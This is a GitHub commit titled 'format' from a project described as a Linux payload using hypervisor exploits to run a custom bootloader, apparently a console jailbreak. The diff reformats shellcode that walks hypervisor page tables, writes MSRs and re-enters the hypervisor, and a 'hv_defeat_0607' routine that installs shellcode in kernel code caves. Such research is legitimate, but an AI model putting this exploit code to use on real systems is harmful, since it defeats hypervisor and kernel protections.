Skip to content

Linux payload implementing HV exploits to run a custom bootloader

C

format

Mateico39818a69e864
diff --git a/shellcode_0607/main.c b/shellcode_0607/main.c
index bb89b94..33186c1 100644
--- a/shellcode_0607/main.c
+++ b/shellcode_0607/main.c
@@ -29,11 +29,15 @@
__attribute__((section(".entry_point"), naked)) uint32_t main(void) {
volatile int fw_version = 0x11AA11AA; // To be updated by loader
- uint64_t hv_pml4 = *(uint64_t *) (fw_version==0x0650 ? HV_PML4_0650 : HV_PML4_07xx);
- uint64_t hv_base = fw_version==0x0650 ? (*(uint64_t *) HV_ENTRY_0650 - HV_MAIN_0650) : (*(uint64_t *) HV_ENTRY_07xx - HV_MAIN_07xx);
+ uint64_t hv_pml4 =
+ *(uint64_t *)(fw_version == 0x0650 ? HV_PML4_0650 : HV_PML4_07xx);
+ uint64_t hv_base = fw_version == 0x0650
+ ? (*(uint64_t *)HV_ENTRY_0650 - HV_MAIN_0650)
+ : (*(uint64_t *)HV_ENTRY_07xx - HV_MAIN_07xx);
- uintptr_t *g_vm_tab =
- (uintptr_t *)vtophys_custom(hv_base + (fw_version==0x0650 ? G_VM_TAB_0650 : G_VM_TAB_07xx), hv_pml4);
+ uintptr_t *g_vm_tab = (uintptr_t *)vtophys_custom(
+ hv_base + (fw_version == 0x0650 ? G_VM_TAB_0650 : G_VM_TAB_07xx),
+ hv_pml4);
for (int i = 0; i < 16; i++) {
uintptr_t vc = vtophys_custom(g_vm_tab[i], hv_pml4);
uintptr_t vmcb = vtophys_custom(*(uintptr_t *)(vc + 0x08), hv_pml4);
@@ -52,10 +56,15 @@ __attribute__((section(".entry_point"), naked)) uint32_t main(void) {
wrmsr(MSR_APICBASE, DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP);
// Restore gs base.
- wrmsr(MSR_GSBASE, ((uint64_t *) (fw_version==0x0650 ? HV_STACK_TABLE_0650 : HV_STACK_TABLE_07xx) )[0] + 0x1000);
+ wrmsr(MSR_GSBASE,
+ ((uint64_t *)(fw_version == 0x0650 ? HV_STACK_TABLE_0650
+ : HV_STACK_TABLE_07xx))[0] +
+ 0x1000);
// Reenter hypercore.
- void (*hv_reenter_hypercore)(void) = (void *) (fw_version==0x0650 ? HV_REENTER_HYPERCORE_0650 : HV_REENTER_HYPERCORE_07xx) ;
+ void (*hv_reenter_hypercore)(void) =
+ (void *)(fw_version == 0x0650 ? HV_REENTER_HYPERCORE_0650
+ : HV_REENTER_HYPERCORE_07xx);
hv_reenter_hypercore();
while (1)
;
diff --git a/source/hv_defeat_0607.c b/source/hv_defeat_0607.c
index c6162e6..565156e 100644
--- a/source/hv_defeat_0607.c
+++ b/source/hv_defeat_0607.c
@@ -110,7 +110,8 @@ int hv_defeat_0607(void *shellcode_kernel, size_t shellcode_kernel_len) {
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memcpy(shellcode_0607, shellcode_0607_bin, shellcode_0607_bin_len);
- if(update_sc_fw_version((uint64_t) shellcode_0607)) return -1;
+ if (update_sc_fw_version((uint64_t)shellcode_0607))
+ return -1;
for (int i = 0; i < shellcode_0607_bin_len; i += PAGE_SIZE) {
install_page_syscore(kernel_cave_shellcode_0761 + i,